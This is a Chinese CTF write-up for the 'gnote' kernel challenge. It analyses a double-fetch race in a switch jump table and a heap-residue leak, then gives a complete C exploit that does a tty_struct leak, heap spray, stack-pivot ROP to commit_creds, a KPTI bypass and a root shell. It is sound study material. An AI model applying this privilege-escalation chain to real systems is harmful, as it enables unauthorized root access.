前置知识
gcc 在编译switch代码时,case超过5个就会变成jump table的形式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
switch(*(int *)buf){
case 1:
printf("case 1");
break;
case 2:
printf("case 2");
break;
case 3:
printf("case 3");
break;
case 4:
printf("case 4");
break;
case 5:
printf("case 5");
break;
}
上面的switch C代码编译出来后汇编代码是这样:
1
2
3
4
5
6
cmp dword ptr [rbp-4], 5
ja _default
mov eax, [rbp-4]
mov rax, ds:jump_table[rax*8]
jmp rax
可以看到对case[rbp-4]
处的数据访问了两次,先cmp [rbp-4],5
比较最大值看是否跳转到default,再mov eax, [rbp-4]
,最后取rax*8
的作为跳转表jump table的索引。
如果利用Double-Fetch漏洞,在cmp [rbp-4], 5
执行后并且在即将执行mov eax, [rbp-4]
前能修改[rbp-4]
里面的值,就能成功劫持jump,跳转到任意地址。
程序分析
系统开启了kptr_restrict
与dmesg_restrict
,不能读/proc/kallsyms,不能查看printfk输出,系统还开启了kalsr,smep.由于内核版本较新,加入了KPTI内核页表隔离机制,ret2usr不可用。
驱动模块首先调用proc_create_data
注册一个procfs入口/proc/gnote,相对应的处理句柄read和write函数。
不幸的是write函数里面的switch语句IDA没能正常识别出来。
我利用IDA的Edit->other->specify switch idiom
功能手动修复switch分支结构:
选中取jump_table
那条指令,打开specify switch idiom
, 然后Address of jump table
设置成跳转表所在位置,number of element
设置成跳转表成员个数,size of table element
设置成一个跳转项的所占空间字节大小,start of the switch idiom
设置成第一个比较case选项的cmp指令地址,register of switch
设置成跳转所用存放索引的寄存器,default jump address
设置成缺省的跳转项,通常是cmp下面一条指令。
再f5,可以看到被识别出来了。
从中分析出两个结构体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct data
{
unsigned int menu;
unsigned int arg;
};
struct note
{
__int64 size;
char *contents;
};
data结构体指针由gnote_write
函数的buf参数传入,data->menu决定分支,data->arg决定分配note的size大小。
gnote_read
函数存在内核堆内容读取。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 __fastcall gnote_read(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx
note *v4; // rcx
unsigned __int64 result; // rax
v3 = a3;
mutex_lock(&lock);
if ( selected == -1 )
{
mutex_unlock(&lock);
result = 0LL;
}
else
{
v4 = ¬es[selected];
if ( v4->size <= v3 )
v3 = v4->size;
copy_to_user(a2, v4->contents, v3);
*(&selected + 0x20000000) = -1LL;
mutex_unlock(&lock);
result = v3;
}
return result;
}
漏洞
1.Double-Fetch,只有在汇编代码中才看得出来,在gnote_write函数中,switch根据传入的选项数字决定跳转到哪个功能,选项数字直接从用户空间读取,先判断是否<=5,再取出来跳转到目标函数。如果中间篡改选项,可能就可能会跳转到任意地址。
1
2
3
4
5
6
.text:0000000000000019 cmp dword ptr [rbx], 5 ; switch 6 cases
.text:000000000000001C ja short def_20 ; jumptable 0000000000000020 default case, case 0
.text:000000000000001E mov eax, [rbx]
.text:0000000000000020 mov rax, ds:jpt_20[rax*8] ; switch jump
.text:0000000000000028 jmp __x86_indirect_thunk_rax
2.gnote_read
函数存在未初始化内存读,堆残留信息读取。对于内核slub分配器(默认),内核函数创建的结构、kmalloc申请的空间都是先从特定大小的cache中申请,cache的堆块可能存在一些残留内核地址。
利用
1.leak内核地址
打开设备对象/dev/ptmx时会分配这样一个结构体tty_struct,tty_struct结构中存在很多指针,可以泄露这些指针来获取内核地址,绕过kalsr.
1
2
3
4
5
6
7
8
9
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
......
关于内核slub机制:
编写代码时,如果使用常量大小调用kmalloc,编译器将对其进行优化,并使用该大小的通用缓存直接调用kmem_cache_alloc_trace
,从cache中分配。
释放tty_struct
是用kfree_rcu
完成的。在这个场景中,rcu是一种等待对象不再被任何其他线程使用的方法,在这一点上,释放对象是安全的。它实际做到这一点的方法是,在使用有问题的对象时防止上下文切换,并在释放对象之前等待所有内核都进行了上下文切换。这对我们意味着,在关闭ptmx的文件描述符(触发对kfree_rcu的调用)之后,tty_struct
块实际上可能还没有释放。为了解决这个问题,我们只需要做一个sleep(1)来确保rcu的宽限期已过。
所以我们可以这样泄露内核地址:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int fdp=open("/dev/ptmx", O_RDWR|O_NOCTTY);
close(fdp);
sleep(1); // trigger rcu grace period
struct data d;
d.menu=1;
d.arg=0x2e0; // sizeof(tty_struct) =0x2e0
write(fd, (char *)&d, sizeof(struct data));
d.menu=5;
d.arg = 0; // select note i -> 0
write(fd, (char *)&d, sizeof(struct data));
char buf[0x100];
read(fd, buf, 0x100);
unsigned long leak;
leak= *(size_t *)(buf+3*8);
kernel_base = leak - 0xA35360;
2.利用double-fetch做堆喷
1
2
3
mov rax, ds:jump_table[rax*8]
jmp rax
可以知道的是,我们可以利用条件竞争控制rax的值,跳到一个指针处。那我们跳到哪里?我们并不能泄露模块加载地址,也并不能控制内核空间中的内容。
那我们就只能抱期望于堆喷射,使得jump_table+(rax*8)
座落于用户空间(未开启smap,可访问用户态数据)。由于内核模块加载的最低地址是0xffffffffc0000000,通常是基于这个地址有最多0x1000000大小的浮动
如果我们把用户空间设定为0xffffffffc0000000 + (0x8000000+0x200)*8 == 0x1000
溢出后最小的一个页面地址,从0x1000地址开始mmap内存,页面大小(最大浮动大小)为0x1000000,那就与exp程序的加载基地址0x400000重合了,不利于后期布置堆喷数据。(可以编译exp时重定位binary—-Wl,–section-start=.note.gnu.build-id=0x40000158)
换一种,我们将jump_table+(rax*8)
喷射到大于0x400000的地址,比如0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
这个地址,在0x8000000映射0x1000000大小的空间,那就可以完美解决上面覆盖exp程序空间的问题。
于是我们在0x8000000地址放入0x1000000/8
个内核gad指令地址。我们选什么指令比较合适呢?我们只对RAX寄存器可控,很容易想到栈迁移,但是内核栈我们并不能控制,就想到控制用户态的栈,找到这么一条指令xchg eax, esp
,将RAX寄存器的低4byte切换进esp寄存器,同时rsp扩展位的高32位清0,这样就切换到用户态的栈。
代码如下:
1
2
3
4
5
6
char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
unsigned long *spray_addr= (unsigned long *)pivot_addr;
for (int i=0; i<0x1000000/8; i++)
spray_addr[i]=xchg_eax_esp_ret;
所以我们只需要在用户空间xchg_eax_esp_ret & 0xfffff000
分配一段空间,并在xchg_eax_esp_ret & 0xffffffff
处存放内核ROP链,就可以通过ROP提权。代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;
unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);
char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
int i=0;
// commit_creds(prepare_kernel_cred(0))
rop_base[i++] = pop_rdi_ret;
rop_base[i++] = 0;
rop_base[i++] = prepare_kernel_cred;
rop_base[i++] = pop_rsi_ret;
rop_base[i++] = -1;
rop_base[i++] = mov_rdi_rax_p_ret;
rop_base[i++] = 0;
rop_base[i++] = commit_creds;
// xchg_CR3_sysret
rop_base[i++] = pop_rcx;
rop_base[i++] = &shell;
rop_base[i++] = pop_r11;
rop_base[i++] = user_rflags;
rop_base[i++] = 0;
rop_base[i++] = xchg_CR3_sysret;
rop_base[i++] = 0;
rop_base[i++] = 0;
rop_base[i++] = user_sp;
关于提权返回到用户态,由于内核开启了KPTI页表隔离机制,我们提权后返回用户态之前应该切换CR3寄存器,具体操作见我看雪帖子[原创]KERNEL PWN状态切换原理及KPTI绕过
1
2
3
4
root@gnote:/# dmesg |grep "page tables isolation: enabled"
[ 0.000000] Kernel/User page tables isolation: enabled
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>
unsigned long kernel_base,prepare_kernel_cred,commit_creds,xchg_eax_esp_ret, pop_rdi_ret,pop_rsi_ret,mov_rdi_rax_p_ret,pop_rcx,pop_r11,xchg_CR3_sysret;
size_t user_cs, user_ss, user_rflags, user_sp;
struct data {
unsigned int menu;
unsigned int arg;
};
int istriggered =0;
int fd;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] Status has been saved!");
}
void race(void *s)
{
struct data *d=s;
while(!istriggered){
d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
puts("[*] race ...");
}
}
void double_fetch()
{
struct data race_arg;
pthread_t pthread;
race_arg.arg = 0x10001;
pthread_create(&pthread,NULL, race, &race_arg);
for (int j=0; j< 0x10000000000; j++)
{
race_arg.menu = 1;
write(fd, (void*)&race_arg, sizeof(struct data));
}
pthread_join(pthread, NULL);
}
void shell()
{
istriggered =1;
system("/bin/sh");
}
void leak_kernel_address()
{
int fdp=open("/dev/ptmx", O_RDWR|O_NOCTTY);
close(fdp);
sleep(1); // trigger rcu grace period
struct data d;
d.menu=1;
d.arg=0x2e0; // sizeof(tty_struct) =0x2e0
write(fd, (char *)&d, sizeof(struct data));
d.menu=5;
d.arg = 0; // select note i -> 0
write(fd, (char *)&d, sizeof(struct data));
char buf[0x100];
read(fd, buf, 0x100);
unsigned long leak;
leak= *(size_t *)(buf+3*8);
kernel_base = leak - 0xA35360;
printf("[+] Leak_addr= %p kernel_base= %p\n", leak , kernel_base);
prepare_kernel_cred = kernel_base + 0x69fe0;
commit_creds = kernel_base + 0x69df0;
xchg_eax_esp_ret = kernel_base + 0x1992a; // xchg eax, esp; ret;
pop_rdi_ret = kernel_base + 0x1c20d; // pop rdi; ret;
pop_rsi_ret = kernel_base + 0x37799; // pop rsi; ret;
mov_rdi_rax_p_ret = kernel_base + 0x21ca6a; // cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret;
pop_rcx = kernel_base + 0x37523; // pop rcx ; ret
pop_r11 = kernel_base + 0x1025c8; // pop r11 ; pop rbp ; ret
xchg_CR3_sysret = kernel_base + 0x600116; // mov rdi, cr3 ; or rdi, 0x1000 ; mov cr3, rdi ; pop rax ; pop rdi ; pop rsp ; swapgs ; sysret
}
void prepare_heap_spray()
{
/* Kernel load minimum address 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000 */
char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
unsigned long *spray_addr= (unsigned long *)pivot_addr;
for (int i=0; i<0x1000000/8; i++)
spray_addr[i]=xchg_eax_esp_ret;
}
void set_ropchain()
{
unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;
unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);
char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
int i=0;
// commit_creds(prepare_kernel_cred(0))
rop_base[i++] = pop_rdi_ret;
rop_base[i++] = 0;
rop_base[i++] = prepare_kernel_cred;
rop_base[i++] = pop_rsi_ret;
rop_base[i++] = -1;
rop_base[i++] = mov_rdi_rax_p_ret;
rop_base[i++] = 0;
rop_base[i++] = commit_creds;
// xchg_CR3_sysret
rop_base[i++] = pop_rcx;
rop_base[i++] = &shell;
rop_base[i++] = pop_r11;
rop_base[i++] = user_rflags;
rop_base[i++] = 0;
rop_base[i++] = xchg_CR3_sysret;
rop_base[i++] = 0;
rop_base[i++] = 0;
rop_base[i++] = user_sp;
}
int main()
{
// Step 0 : save tatus
save_status();
fd=open("proc/gnote", O_RDWR);
if (fd<0)
{
puts("[-] Open driver error!");
exit(-1);
}
// Step 1 : leak kernel address
leak_kernel_address();
// Step 2 : place heap spray data
prepare_heap_spray();
// Step 3 : place ROPchain
set_ropchain();
// Step 4 : double_fetch
double_fetch();
return 0;
}